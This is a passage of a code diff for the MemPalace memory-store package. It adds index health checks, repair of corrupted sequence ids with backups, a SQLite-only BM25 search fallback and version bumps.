||||
except TruncationDetected as e:
|
||||
print(e.message)
|
||||
return
|
||||
|
||||
# Back up ONLY the SQLite database, not the bloated HNSW files
|
||||
sqlite_path = os.path.join(palace_path, "chroma.sqlite3")
|
||||
backup_path = sqlite_path + ".backup"
|
||||
if os.path.exists(sqlite_path):
|
||||
backup_path = sqlite_path + ".backup"
|
||||
print(f" Backing up chroma.sqlite3 ({os.path.getsize(sqlite_path) / 1e6:.0f} MB)...")
|
||||
shutil.copy2(sqlite_path, backup_path)
|
||||
print(f" Backup: {backup_path}")
|
||||
@@ -266,22 +411,343 @@ def rebuild_index(palace_path=None):
|
||||
new_col = backend.create_collection(palace_path, COLLECTION_NAME)
|
||||
|
||||
filed = 0
|
||||
for i in range(0, len(all_ids), batch_size):
|
||||
batch_ids = all_ids[i : i + batch_size]
|
||||
batch_docs = all_docs[i : i + batch_size]
|
||||
batch_metas = all_metas[i : i + batch_size]
|
||||
new_col.upsert(documents=batch_docs, ids=batch_ids, metadatas=batch_metas)
|
||||
filed += len(batch_ids)
|
||||
print(f" Re-filed {filed}/{len(all_ids)} drawers...")
|
||||
try:
|
||||
for i in range(0, len(all_ids), batch_size):
|
||||
batch_ids = all_ids[i : i + batch_size]
|
||||
batch_docs = all_docs[i : i + batch_size]
|
||||
batch_metas = all_metas[i : i + batch_size]
|
||||
new_col.upsert(documents=batch_docs, ids=batch_ids, metadatas=batch_metas)
|
||||
filed += len(batch_ids)
|
||||
print(f" Re-filed {filed}/{len(all_ids)} drawers...")
|
||||
except Exception as e:
|
||||
print(f"\n ERROR during rebuild: {e}")
|
||||
print(f" Only {filed}/{len(all_ids)} drawers were re-filed.")
|
||||
if os.path.exists(backup_path):
|
||||
print(f" Restoring from backup: {backup_path}")
|
||||
backend.delete_collection(palace_path, COLLECTION_NAME)
|
||||
shutil.copy2(backup_path, sqlite_path)
|
||||
print(" Backup restored. Palace is back to pre-repair state.")
|
||||
else:
|
||||
print(" No backup available. Re-mine from source files to recover.")
|
||||
raise
|
||||
|
||||
print(f"\n Repair complete. {filed} drawers rebuilt.")
|
||||
print(" HNSW index is now clean with cosine distance metric.")
|
||||
print(f"\n{'=' * 55}\n")
|
||||
|
||||
|
||||
def status(palace_path=None) -> dict:
|
||||
"""Read-only health check: compare sqlite vs HNSW element counts.
|
||||
|
||||
Catches the #1222 failure mode where chromadb's HNSW segment freezes
|
||||
at a stale ``max_elements`` while sqlite keeps accumulating rows.
|
||||
Once the divergence is large enough, every tool call segfaults when
|
||||
chromadb tries to load the undersized HNSW. Running ``mempalace
|
||||
repair-status`` *before* opening the segment lets the operator
|
||||
discover the problem without crashing the MCP server.
|
||||
|
||||
The check itself never opens a chromadb client and never imports
|
||||
hnswlib — it reads ``chroma.sqlite3`` and ``index_metadata.pickle``
|
||||
directly via :func:`mempalace.backends.chroma.hnsw_capacity_status`.
|
||||
|
||||
Returns the capacity-status dict (also printed). Returns a dict with
|
||||
``status="unknown"`` when no palace exists at the given path.
|
||||
"""
|
||||
palace_path = palace_path or _get_palace_path()
|
||||
print(f"\n{'=' * 55}")
|
||||
print(" MemPalace Repair — Status")
|
||||
print(f"{'=' * 55}\n")
|
||||
print(f" Palace: {palace_path}")
|
||||
|
||||
if not os.path.isdir(palace_path):
|
||||
print(" No palace found.\n")
|
||||
return {"status": "unknown", "message": "no palace at path"}
|
||||
|
||||
drawers = hnsw_capacity_status(palace_path, "mempalace_drawers")
|
||||
closets = hnsw_capacity_status(palace_path, "mempalace_closets")
|
||||
|
||||
for label, info in (("drawers", drawers), ("closets", closets)):
|
||||
print(f"\n [{label}]")
|
||||
if info["sqlite_count"] is None:
|
||||
print(" sqlite count: (unreadable)")
|
||||
else:
|
||||
print(f" sqlite count: {info['sqlite_count']:,}")
|
||||
if info["hnsw_count"] is None:
|
||||
print(" hnsw count: (no flushed metadata yet)")
|
||||
else:
|
||||
print(f" hnsw count: {info['hnsw_count']:,}")
|
||||
if info["divergence"] is not None:
|
||||
print(f" divergence: {info['divergence']:,}")
|
||||
marker = "DIVERGED" if info["diverged"] else info["status"].upper()
|
||||
print(f" status: {marker}")
|
||||
if info["message"]:
|
||||
print(f" note: {info['message']}")
|
||||
|
||||
if drawers["diverged"] or closets["diverged"]:
|
||||
print("\n Recommended: run `mempalace repair` to rebuild the index.")
|
||||
print()
|
||||
return {"drawers": drawers, "closets": closets}
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# max-seq-id mode: un-poison max_seq_id rows corrupted by the old shim
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
def _close_chroma_handles(palace_path: str) -> None:
|
||||
"""Drop ChromaBackend + chromadb singleton caches so OS mmap handles release."""
|
||||
import gc
|
||||
|
||||
try:
|
||||
ChromaBackend().close_palace(palace_path)
|
||||
except Exception:
|
||||
pass
|
||||
try:
|
||||
from chromadb.api.client import SharedSystemClient
|
||||
|
||||
SharedSystemClient.clear_system_cache()
|
||||
except Exception:
|
||||
pass
|
||||
gc.collect()
|
||||
|
||||
|
||||
class MaxSeqIdVerificationError(RuntimeError):
|
||||
"""Raised when post-repair detection still sees poisoned rows."""
|
||||
|
||||
|
||||
#: Any ``max_seq_id.seq_id`` above this is unreachable by a real palace.
|
||||
#: Clean values are bounded by the embeddings_queue's monotonic counter (<1e10
|
||||
#: in practice), and 2**53 is the float64 exact-integer ceiling. Poisoned
|
||||
#: values from the 0.6.x shim misinterpreting chromadb 1.5.x's
|
||||
#: ``b'\x11\x11' + 6 ASCII digits`` format start at ~1.23e18, so anything
|
||||
#: above the threshold is confidently a shim-poisoning artefact.
|
||||
MAX_SEQ_ID_SANITY_THRESHOLD = 1 << 53
|
||||
|
||||
|
||||
def _detect_poisoned_max_seq_ids(
|
||||
db_path: str,
|
||||
*,
|
||||
segment: Optional[str] = None,
|
||||
threshold: int = MAX_SEQ_ID_SANITY_THRESHOLD,
|
||||
) -> list[tuple[str, int]]:
|
||||
"""Return ``[(segment_id, poisoned_seq_id), ...]`` for rows above threshold.
|
||||
|
||||
If ``segment`` is given, the detection is restricted to that segment id
|
||||
(still only returning it if it actually exceeds the threshold).
|
||||
"""
|
||||
with sqlite3.connect(db_path) as conn:
|
||||
if segment is not None:
|
||||
rows = conn.execute(
|
||||
"SELECT segment_id, seq_id FROM max_seq_id WHERE segment_id = ? AND seq_id > ?",
|
||||
(segment, threshold),
|
||||
).fetchall()
|
||||
else:
|
||||
rows = conn.execute(
|
||||
"SELECT segment_id, seq_id FROM max_seq_id WHERE seq_id > ?",
|
||||
(threshold,),
|
||||
).fetchall()
|
||||
return [(str(sid), int(val)) for sid, val in rows]
|
||||
|
||||
|
||||
def _compute_heuristic_seq_id(cur: sqlite3.Cursor, segment_id: str) -> int:
|
||||
"""Return ``MAX(embeddings.seq_id)`` over the collection owning ``segment_id``.
|
||||
|
||||
Matches the METADATA segment's pre-poison value exactly (its max equals
|
||||
the collection-wide embeddings max). For the sibling VECTOR segment the
|
||||
value is a few seq_ids ahead of its own pre-poison max; the queue
|
||||
treats that as "already consumed", skipping a small window of
|
||||
already-indexed embeddings on next subscribe. That is an acceptable
|
||||
loss vs. resetting to 0 (which would re-process the entire queue and
|
||||
risk HNSW bloat from issue #1046).
|
||||
|
||||
``embeddings.seq_id`` rows can be BLOB-typed on palaces where
|
||||
chromadb 1.5.x has been writing seq_ids natively (8-byte big-endian
|
||||
uint64). When SQLite's ``MAX`` returns such a row, decode it back to
|
||||
an integer rather than crashing on ``int(bytes)``.
|
||||
"""
|
||||
row = cur.execute(
|
||||
"""
|
||||
SELECT MAX(e.seq_id)
|
||||
FROM embeddings e
|
||||
JOIN segments s ON e.segment_id = s.id
|
||||
WHERE s.collection = (
|
||||
SELECT collection FROM segments WHERE id = ?
|
||||
)
|
||||
""",
|
||||
(segment_id,),
|
||||
).fetchone()
|
||||
if row is None or row[0] is None:
|
||||
return 0
|
||||
val = row[0]
|
||||
if isinstance(val, (bytes, bytearray)):
|
||||
return int.from_bytes(val, "big")
|
||||
return int(val)
|
||||
|
||||
|
||||
def _read_sidecar_seq_ids(sidecar_path: str) -> dict[str, int]:
|
||||
"""Load ``{segment_id: seq_id}`` from a sidecar DB's ``max_seq_id`` table.
|
||||
|
||||
Rejects sidecar files whose ``max_seq_id.seq_id`` is itself BLOB-typed
|
||||
— a sidecar that old predates chromadb's type normalisation and is not
|
||||
a trustworthy restoration source.
|
||||
"""
|
||||
if not os.path.isfile(sidecar_path):
|
||||
raise FileNotFoundError(f"Sidecar database not found: {sidecar_path}")
|
||||
out: dict[str, int] = {}
|
||||
with sqlite3.connect(sidecar_path) as conn:
|
||||
rows = conn.execute("SELECT segment_id, seq_id, typeof(seq_id) FROM max_seq_id").fetchall()
|
||||
for segment_id, seq_id, kind in rows:
|
||||
if kind == "blob":
|
||||
raise ValueError(
|
||||
f"Sidecar has BLOB-typed seq_id for {segment_id}; refusing to use it. "
|
||||
"Pass a sidecar that was already migrated to INTEGER rows."
|
||||
)
|
||||
out[str(segment_id)] = int(seq_id)
|
||||
return out
|
||||
|
||||
|
||||
def repair_max_seq_id(
|
||||
palace_path: str,
|
||||
*,
|
||||
segment: Optional[str] = None,
|
||||
from_sidecar: Optional[str] = None,
|
||||
threshold: int = MAX_SEQ_ID_SANITY_THRESHOLD,
|
||||
backup: bool = True,
|
||||
dry_run: bool = False,
|
||||
assume_yes: bool = False,
|
||||
) -> dict:
|
||||
"""Un-poison ``max_seq_id`` rows corrupted by ``_fix_blob_seq_ids`` misfire.
|
||||
|
||||
The old shim ran ``int.from_bytes(blob, 'big')`` across every BLOB
|
||||
``max_seq_id.seq_id`` row, including chromadb 1.5.x's native
|
||||
``b'\\x11\\x11' + ASCII digits`` format. That conversion yields a
|
||||
~1.23e18 integer that silently suppresses every subsequent
|
||||
``embeddings_queue`` write for the affected segment. This command
|
||||
restores clean values either from a pre-corruption sidecar DB
|
||||
(exact) or heuristically (``MAX(embeddings.seq_id)`` over the owning
|
||||
collection).
|
||||
"""
|
||||
from .migrate import confirm_destructive_action, contains_palace_database
|
||||
|
||||
palace_path = os.path.abspath(os.path.expanduser(palace_path))
|
||||
db_path = os.path.join(palace_path, "chroma.sqlite3")
|
||||
|
||||
result: dict = {
|
||||
"palace_path": palace_path,
|
||||
"dry_run": dry_run,
|
||||
"aborted": False,
|
||||
"segment_repaired": [],
|
||||
"before": {},
|
||||
"after": {},
|
||||
"backup": None,
|
||||
}
|
||||
|
||||
print(f"\n{'=' * 55}")
|
||||
print(" MemPalace Repair — max_seq_id Un-poison")
|
||||
print(f"{'=' * 55}\n")
|
||||
print(f" Palace: {palace_path}")
|
||||
if segment:
|
||||
print(f" Segment: {segment}")
|
||||
if from_sidecar:
|
||||
print(f" Sidecar: {from_sidecar}")
|
||||
|
||||
if not os.path.isdir(palace_path):
|
||||
print(f" No palace found at {palace_path}")
|
||||
result["aborted"] = True
|
||||
result["reason"] = "palace-missing"
|
||||
return result
|
||||
if not contains_palace_database(palace_path):
|
||||
print(f" No palace database at {palace_path}")
|
||||
result["aborted"] = True
|
||||
result["reason"] = "db-missing"
|
||||
return result
|
||||
|
||||
poisoned = _detect_poisoned_max_seq_ids(db_path, segment=segment, threshold=threshold)
|
||||
if not poisoned:
|
||||
print(" No poisoned max_seq_id rows detected. Nothing to do.")
|
||||
print(f"\n{'=' * 55}\n")
|
||||
return result
|
||||
|
||||
sidecar_map: dict[str, int] = {}
|
||||
if from_sidecar:
|
||||
sidecar_map = _read_sidecar_seq_ids(from_sidecar)
|
||||
|
||||
plan: list[tuple[str, int, int]] = []
|
||||
with sqlite3.connect(db_path) as conn:
|
||||
cur = conn.cursor()
|
||||
for seg_id, old_val in poisoned:
|
||||
if from_sidecar:
|
||||
if seg_id not in sidecar_map:
|
||||
print(f" Skipped segment {seg_id}: no sidecar entry")
|
||||
continue
|
||||
new_val = sidecar_map[seg_id]
|
||||
else:
|
||||
new_val = _compute_heuristic_seq_id(cur, seg_id)
|
||||
plan.append((seg_id, old_val, new_val))
|
||||
result["before"][seg_id] = old_val
|
||||
result["after"][seg_id] = new_val
|
||||
|
||||
print()
|
||||
print(" Report")
|
||||
print(f" poisoned rows {len(poisoned):>6}")
|
||||
print(f" planned repairs {len(plan):>6}")
|
||||
source = "sidecar" if from_sidecar else "heuristic (collection MAX)"
|
||||
print(f" clean-value source {source}")
|
||||
for seg_id, old_val, new_val in plan:
|
||||
print(f" {seg_id} {old_val} → {new_val}")
|
||||
|
||||
if dry_run:
|
||||
print("\n DRY RUN — no rows modified.\n" + "=" * 55 + "\n")
|
||||
return result
|
||||
|
||||
if not plan:
|
||||
print(" No actionable repairs.")
|
||||
print(f"\n{'=' * 55}\n")
|
||||
return result
|
||||
|
||||
if not confirm_destructive_action("Repair max_seq_id", palace_path, assume_yes=assume_yes):
|
||||
result["aborted"] = True
|
||||
result["reason"] = "user-aborted"
|
||||
return result
|
||||
|
||||
if backup:
|
||||
timestamp = datetime.now().strftime("%Y%m%d-%H%M%S")
|
||||
backup_path = os.path.join(palace_path, f"chroma.sqlite3.max-seq-id-backup-{timestamp}")
|
||||
shutil.copy2(db_path, backup_path)
|
||||
result["backup"] = backup_path
|
||||
print(f" Backup: {backup_path}")
|
||||
|
||||
_close_chroma_handles(palace_path)
|
||||
|
||||
with sqlite3.connect(db_path) as conn:
|
||||
conn.execute("BEGIN")
|
||||
try:
|
||||
conn.executemany(
|
||||
"UPDATE max_seq_id SET seq_id = ? WHERE segment_id = ?",
|
||||
[(new_val, seg_id) for seg_id, _old, new_val in plan],
|
||||
)
|
||||
conn.commit()
|
||||
except Exception:
|
||||
conn.rollback()
|
||||
raise
|
||||
|
||||
remaining = _detect_poisoned_max_seq_ids(db_path, segment=segment, threshold=threshold)
|
||||
if remaining:
|
||||
raise MaxSeqIdVerificationError(
|
||||
f"Post-repair detection still found {len(remaining)} poisoned row(s): "
|
||||
f"{[sid for sid, _ in remaining]}. Backup at {result['backup']}."
|
||||
)
|
||||
|
||||
result["segment_repaired"] = [seg_id for seg_id, _old, _new in plan]
|
||||
print(f"\n Repair complete. {len(plan)} row(s) restored.")
|
||||
print(f" Backup: {result['backup'] or '(skipped)'}")
|
||||
print(f"\n{'=' * 55}\n")
|
||||
return result
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
p = argparse.ArgumentParser(description="MemPalace repair tools")
|
||||
p.add_argument("command", choices=["scan", "prune", "rebuild"])
|
||||
p.add_argument("command", choices=["status", "scan", "prune", "rebuild"])
|
||||
p.add_argument("--palace", default=None, help="Palace directory path")
|
||||
p.add_argument("--wing", default=None, help="Scan only this wing")
|
||||
p.add_argument("--confirm", action="store_true", help="Actually delete corrupt IDs")
|
||||
@@ -289,7 +755,9 @@ if __name__ == "__main__":
|
||||
|
||||
path = os.path.expanduser(args.palace) if args.palace else None
|
||||
|
||||
if args.command == "scan":
|
||||
if args.command == "status":
|
||||
status(palace_path=path)
|
||||
elif args.command == "scan":
|
||||
scan_palace(palace_path=path, only_wing=args.wing)
|
||||
elif args.command == "prune":
|
||||
prune_corrupt(palace_path=path, confirm=args.confirm)
|
||||
|
||||
@@ -303,8 +303,10 @@ def save_config(project_dir: str, project_name: str, rooms: list):
|
||||
|
||||
def detect_rooms_local(project_dir: str, yes: bool = False):
|
||||
"""Main entry point for local setup."""
|
||||
from .config import normalize_wing_name
|
||||
|
||||
project_path = Path(project_dir).expanduser().resolve()
|
||||
project_name = project_path.name.lower().replace(" ", "_").replace("-", "_")
|
||||
project_name = normalize_wing_name(project_path.name)
|
||||
|
||||
if not project_path.exists():
|
||||
print(f"ERROR: Directory not found: {project_dir}")
|
||||
|
||||
+264
-6
@@ -11,7 +11,9 @@ hide drawers the direct path would have found.
|
||||
|
||||
import logging
|
||||
import math
|
||||
import os
|
||||
import re
|
||||
import sqlite3
|
||||
from pathlib import Path
|
||||
|
||||
from .palace import get_closets_collection, get_collection
|
||||
@@ -46,7 +48,14 @@ def _first_or_empty(results, key: str) -> list:
|
||||
|
||||
|
||||
def _tokenize(text: str) -> list:
|
||||
"""Lowercase + strip to alphanumeric tokens of length ≥ 2."""
|
||||
"""Lowercase + strip to alphanumeric tokens of length ≥ 2.
|
||||
|
||||
Tolerates ``None`` documents — Chroma can return ``None`` in the
|
||||
``documents`` field for drawers without text content, which would
|
||||
otherwise raise ``AttributeError`` mid-rerank.
|
||||
"""
|
||||
if not text:
|
||||
return []
|
||||
return _TOKEN_RE.findall(text.lower())
|
||||
|
||||
|
||||
@@ -236,6 +245,42 @@ def _expand_with_neighbors(drawers_col, matched_doc: str, matched_meta: dict, ra
|
||||
}
|
||||
|
||||
|
||||
def _warn_if_legacy_metric(col) -> None:
|
||||
"""Print a one-line notice if the palace was created without
|
||||
``hnsw:space=cosine``.
|
||||
|
||||
ChromaDB's default is L2 (Euclidean), under which cosine-based
|
||||
similarity interpretation falls apart — distances routinely exceed
|
||||
1.0 and the display ``max(0, 1 - dist)`` floors every result to 0.
|
||||
Legacy palaces (mined before this metadata was consistently set)
|
||||
need ``mempalace repair`` to rebuild with the correct metric.
|
||||
|
||||
The warning fires only for palaces that clearly have the wrong
|
||||
metric; palaces with no metadata table at all (empty dict) also
|
||||
fall under this check since that is the signal of a pre-metadata
|
||||
palace.
|
||||
"""
|
||||
try:
|
||||
meta = getattr(col, "metadata", None)
|
||||
except Exception:
|
||||
return
|
||||
if not isinstance(meta, dict):
|
||||
return
|
||||
space = meta.get("hnsw:space")
|
||||
if space == "cosine":
|
||||
return
|
||||
# Either missing or set to something else — both are suspect.
|
||||
import sys as _sys
|
||||
|
||||
detail = f"hnsw:space={space!r}" if space else "no hnsw:space metadata"
|
||||
print(
|
||||
f"\n NOTICE: this palace was created without cosine distance ({detail}).\n"
|
||||
" Semantic similarity scores will not be meaningful.\n"
|
||||
" Run `mempalace repair` to rebuild the index with the correct metric.",
|
||||
file=_sys.stderr,
|
||||
)
|
||||
|
||||
|
||||
def search(query: str, palace_path: str, wing: str = None, room: str = None, n_results: int = 5):
|
||||
"""
|
||||
Search the palace. Returns verbatim drawer content.
|
||||
@@ -248,6 +293,10 @@ def search(query: str, palace_path: str, wing: str = None, room: str = None, n_r
|
||||
print(" Run: mempalace init <dir> then mempalace mine <dir>")
|
||||
raise SearchError(f"No palace found at {palace_path}")
|
||||
|
||||
# Alert the user if this palace predates hnsw:space=cosine being set on
|
||||
# creation — their similarity scores will be junk until they run repair.
|
||||
_warn_if_legacy_metric(col)
|
||||
|
||||
where = build_where_filter(wing, room)
|
||||
|
||||
try:
|
||||
@@ -273,6 +322,20 @@ def search(query: str, palace_path: str, wing: str = None, room: str = None, n_r
|
||||
print(f'\n No results found for: "{query}"')
|
||||
return
|
||||
|
||||
# Pure-cosine retrieval on the CLI path was missing lexical matches:
|
||||
# a drawer whose text contains every query term can still score distance
|
||||
# >= 1.0 against the natural-language query when the drawer is a
|
||||
# mechanical artifact (directory listing, diff, log fragment) that
|
||||
# embeds as file-tree noise rather than as prose about its subject.
|
||||
# The MCP tool path already hybridizes BM25 with vector sim via
|
||||
# `_hybrid_rank`; do the same here so CLI results match what agents
|
||||
# see via `mempalace_search`.
|
||||
hits = [
|
||||
{"text": doc or "", "distance": float(dist), "metadata": meta or {}}
|
||||
for doc, meta, dist in zip(docs, metas, dists)
|
||||
]
|
||||
hits = _hybrid_rank(hits, query)
|
||||
|
||||
print(f"\n{'=' * 60}")
|
||||
print(f' Results for: "{query}"')
|
||||
if wing:
|
||||
@@ -281,19 +344,20 @@ def search(query: str, palace_path: str, wing: str = None, room: str = None, n_r
|
||||
print(f" Room: {room}")
|
||||
print(f"{'=' * 60}\n")
|
||||
|
||||
for i, (doc, meta, dist) in enumerate(zip(docs, metas, dists), 1):
|
||||
similarity = round(max(0.0, 1 - dist), 3)
|
||||
meta = meta or {}
|
||||
for i, hit in enumerate(hits, 1):
|
||||
vec_sim = round(max(0.0, 1 - hit["distance"]), 3)
|
||||
bm25 = hit.get("bm25_score", 0.0)
|
||||
meta = hit["metadata"]
|
||||
source = Path(meta.get("source_file", "?")).name
|
||||
wing_name = meta.get("wing", "?")
|
||||
room_name = meta.get("room", "?")
|
||||
|
||||
print(f" [{i}] {wing_name} / {room_name}")
|
||||
print(f" Source: {source}")
|
||||
print(f" Match: {similarity}")
|
||||
print(f" Match: cosine={vec_sim} bm25={bm25}")
|
||||
print()
|
||||
# Print the verbatim text, indented
|
||||
for line in doc.strip().split("\n"):
|
||||
for line in hit["text"].strip().split("\n"):
|
||||
print(f" {line}")
|
||||
print()
|
||||
print(f" {'─' * 56}")
|
||||
@@ -301,6 +365,186 @@ def search(query: str, palace_path: str, wing: str = None, room: str = None, n_r
|
||||
print()
|
||||
|
||||
|
||||
def _bm25_only_via_sqlite(
|
||||
query: str,
|
||||
palace_path: str,
|
||||
wing: str = None,
|
||||
room: str = None,
|
||||
n_results: int = 5,
|
||||
max_candidates: int = 500,
|
||||
) -> dict:
|
||||
"""BM25-only search reading drawers directly from chroma.sqlite3.
|
||||
|
||||
Used when HNSW is diverged or unloadable (#1222). Bypasses chromadb's
|
||||
Python client entirely so a corrupt vector segment can't segfault the
|
||||
MCP server. Routes through chromadb's own FTS5 trigram index
|
||||
(``embedding_fulltext_search``) for candidate selection, then re-ranks
|
||||
with the same Okapi-BM25 used in :func:`_hybrid_rank` so the result
|
||||
shape matches the vector path.
|
||||
|
||||
The query is split into ≥3-char trigram-tokens and OR-joined for the
|
||||
FTS5 MATCH — chromadb writes the index with ``tokenize='trigram'``,
|
||||
so single-character tokens never match. When no usable token survives
|
||||
(e.g. "is a"), candidate selection falls back to the most-recent
|
||||
``max_candidates`` rows so we still return *something* rather than
|
||||
nothing.
|
||||
"""
|
||||
db_path = os.path.join(palace_path, "chroma.sqlite3")
|
||||
if not os.path.isfile(db_path):
|
||||
return {
|
||||
"error": "No palace found",
|
||||
"hint": "Run: mempalace init <dir> && mempalace mine <dir>",
|
||||
}
|
||||
|
||||
try:
|
||||
conn = sqlite3.connect(f"file:{db_path}?mode=ro", uri=True)
|
||||
except sqlite3.Error as e:
|
||||
return {"error": f"sqlite open failed: {e}"}
|
||||
|
||||
try:
|
||||
# FTS5 MATCH expects whitespace-separated tokens. Drop tokens
|
||||
# shorter than 3 chars (trigram tokenizer can't match them).
|
||||
tokens = [t for t in _tokenize(query) if len(t) >= 3]
|
||||
candidate_ids: list[int] = []
|
||||
if tokens:
|
||||
fts_query = " OR ".join(tokens)
|
||||
try:
|
||||
rows = conn.execute(
|
||||
"""
|
||||
SELECT rowid
|
||||
FROM embedding_fulltext_search
|
||||
WHERE embedding_fulltext_search MATCH ?
|
||||
LIMIT ?
|
||||
""",
|
||||
(fts_query, max_candidates),
|
||||
).fetchall()
|
||||
candidate_ids = [r[0] for r in rows]
|
||||
except sqlite3.Error:
|
||||
# FTS5 tokenizer mismatch or syntax error — fall through
|
||||
# to the recency-window selector below.
|
||||
logger.debug("FTS5 MATCH failed; using recency fallback", exc_info=True)
|
||||
|
||||
if not candidate_ids:
|
||||
# No FTS hits (or no usable tokens) — pull the most recent
|
||||
# rows for the drawers segment so we can BM25-rank something
|
||||
# rather than return empty-handed. Wrapped in try/except
|
||||
# because the schema may differ on legacy palaces (older
|
||||
# chromadb without ``created_at``, missing ``segments``
|
||||
# rows after partial restore, etc.); on schema mismatch we
|
||||
# fall back to ordering by primary-key id and finally to an
|
||||
# empty result rather than letting search raise.
|
||||
try:
|
||||
rows = conn.execute(
|
||||
"""
|
||||
SELECT e.id
|
||||
FROM embeddings e
|
||||
JOIN segments s ON e.segment_id = s.id
|
||||
JOIN collections c ON s.collection = c.id
|
||||
WHERE c.name = 'mempalace_drawers'
|
||||
ORDER BY e.created_at DESC
|
||||
LIMIT ?
|
||||
""",
|
||||
(max_candidates,),
|
||||
).fetchall()
|
||||
candidate_ids = [r[0] for r in rows]
|
||||
except sqlite3.Error:
|
||||
logger.debug(
|
||||
"recency-window query failed; trying id-ordered fallback",
|
||||
exc_info=True,
|
||||
)
|
||||
try:
|
||||
rows = conn.execute(
|
||||
"""
|
||||
SELECT e.id
|
||||
FROM embeddings e
|
||||
JOIN segments s ON e.segment_id = s.id
|
||||
JOIN collections c ON s.collection = c.id
|
||||
WHERE c.name = 'mempalace_drawers'
|
||||
ORDER BY e.id DESC
|
||||
LIMIT ?
|
||||
""",
|
||||
(max_candidates,),
|
||||
).fetchall()
|
||||
candidate_ids = [r[0] for r in rows]
|
||||
except sqlite3.Error:
|
||||
logger.debug("id-ordered fallback also failed", exc_info=True)
|
||||
candidate_ids = []
|
||||
|
||||
if not candidate_ids:
|
||||
return {
|
||||
"query": query,
|
||||
"filters": {"wing": wing, "room": room},
|
||||
"total_before_filter": 0,
|
||||
"results": [],
|
||||
"fallback": "bm25_only_via_sqlite",
|
||||
}
|
||||
|
||||
placeholders = ",".join(["?"] * len(candidate_ids))
|
||||
meta_rows = conn.execute(
|
||||
f"""
|
||||
SELECT id, key, string_value, int_value
|
||||
FROM embedding_metadata
|
||||
WHERE id IN ({placeholders})
|
||||
""",
|
||||
candidate_ids,
|
||||
).fetchall()
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
# Group metadata rows into per-drawer dicts.
|
||||
drawers: dict[int, dict] = {}
|
||||
for emb_id, key, sval, ival in meta_rows:
|
||||
d = drawers.setdefault(emb_id, {"_id": emb_id, "metadata": {}, "text": ""})
|
||||
if key == "chroma:document":
|
||||
d["text"] = sval or ""
|
||||
else:
|
||||
d["metadata"][key] = sval if sval is not None else ival
|
||||
|
||||
# Apply wing/room filters in Python (FTS5 candidates may include
|
||||
# entries from other wings).
|
||||
candidates = []
|
||||
for d in drawers.values():
|
||||
meta = d["metadata"]
|
||||
if wing and meta.get("wing") != wing:
|
||||
continue
|
||||
if room and meta.get("room") != room:
|
||||
continue
|
||||
candidates.append(
|
||||
{
|
||||
"text": d["text"],
|
||||
"wing": meta.get("wing", "unknown"),
|
||||
"room": meta.get("room", "unknown"),
|
||||
"source_file": Path(meta.get("source_file", "?") or "?").name,
|
||||
"created_at": meta.get("filed_at", "unknown"),
|
||||
# No vector distance available in BM25-only mode.
|
||||
"similarity": None,
|
||||
"distance": None,
|
||||
"matched_via": "bm25_sqlite",
|
||||
}
|
||||
)
|
||||
|
||||
# Local BM25 over the candidate set.
|
||||
docs = [c["text"] for c in candidates]
|
||||
bm25_raw = _bm25_scores(query, docs)
|
||||
max_bm25 = max(bm25_raw) if bm25_raw else 0.0
|
||||
for c, raw in zip(candidates, bm25_raw):
|
||||
c["bm25_score"] = round(raw, 3)
|
||||
c["_score"] = (raw / max_bm25) if max_bm25 > 0 else 0.0
|
||||
candidates.sort(key=lambda c: c["_score"], reverse=True)
|
||||
hits = candidates[:n_results]
|
||||
for h in hits:
|
||||
h.pop("_score", None)
|
||||
|
||||
return {
|
||||
"query": query,
|
||||
"filters": {"wing": wing, "room": room},
|
||||
"total_before_filter": len(candidates),
|
||||
"results": hits,
|
||||
"fallback": "bm25_only_via_sqlite",
|
||||
"fallback_reason": "vector_search_disabled",
|
||||
}
|
||||
|
||||
|
||||
def search_memories(
|
||||
query: str,
|
||||
palace_path: str,
|
||||
@@ -308,6 +552,7 @@ def search_memories(
|
||||
room: str = None,
|
||||
n_results: int = 5,
|
||||
max_distance: float = 0.0,
|
||||
vector_disabled: bool = False,
|
||||
) -> dict:
|
||||
"""Programmatic search — returns a dict instead of printing.
|
||||
|
||||
@@ -323,7 +568,20 @@ def search_memories(
|
||||
cosine distance (hnsw:space=cosine) — 0 = identical, 2 = opposite.
|
||||
Results with distance > this value are filtered out. A value of
|
||||
0.0 disables filtering. Typical useful range: 0.3–1.0.
|
||||
vector_disabled: When True, route to the sqlite-only BM25 fallback
|
||||
(#1222). Set by the MCP server when the HNSW capacity probe
|
||||
detects a divergence that would segfault chromadb on segment
|
||||
load.
|
||||
"""
|
||||
if vector_disabled:
|
||||
return _bm25_only_via_sqlite(
|
||||
query,
|
||||
palace_path,
|
||||
wing=wing,
|
||||
room=room,
|
||||
n_results=n_results,
|
||||
)
|
||||
|
||||
try:
|
||||
drawers_col = get_collection(palace_path, create=False)
|
||||
except Exception as e:
|
||||
|
||||
@@ -1,3 +1,3 @@
|
||||
"""Single source of truth for the MemPalace package version."""
|
||||
|
||||
__version__ = "3.3.2"
|
||||
__version__ = "3.3.4"
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
OpenArena owner claim verification for MemPalace/mempalace: 09AE2C2E66CC4B5CBD7D
|
||||
+11
-1
@@ -1,6 +1,6 @@
|
||||
[project]
|
||||
name = "mempalace"
|
||||
version = "3.3.2"
|
||||
version = "3.3.4"
|
||||
description = "Give your AI a memory — mine projects and conversations into a searchable palace. No API key required."
|
||||
readme = "README.md"
|
||||
requires-python = ">=3.9"
|
||||
@@ -29,6 +29,7 @@ classifiers = [
|
||||
dependencies = [
|
||||
"chromadb>=1.5.4,<2",
|
||||
"pyyaml>=6.0,<7",
|
||||
"tomli>=2.0.0; python_version < '3.11'",
|
||||
]
|
||||
|
||||
[project.urls]
|
||||
@@ -38,6 +39,7 @@ Repository = "https://github.com/MemPalace/mempalace"
|
||||
|
||||
[project.scripts]
|
||||
mempalace = "mempalace.cli:main"
|
||||
mempalace-mcp = "mempalace.mcp_server:main"
|
||||
|
||||
[project.entry-points."mempalace.backends"]
|
||||
chroma = "mempalace.backends.chroma:ChromaBackend"
|
||||
@@ -51,6 +53,14 @@ chroma = "mempalace.backends.chroma:ChromaBackend"
|
||||
[project.optional-dependencies]
|
||||
dev = ["pytest>=7.0", "pytest-cov>=4.0", "ruff>=0.4.0", "psutil>=5.9"]
|
||||
spellcheck = ["autocorrect>=2.0"]
|
||||
# Hardware acceleration for the ONNX embedding model. Install exactly one:
|
||||
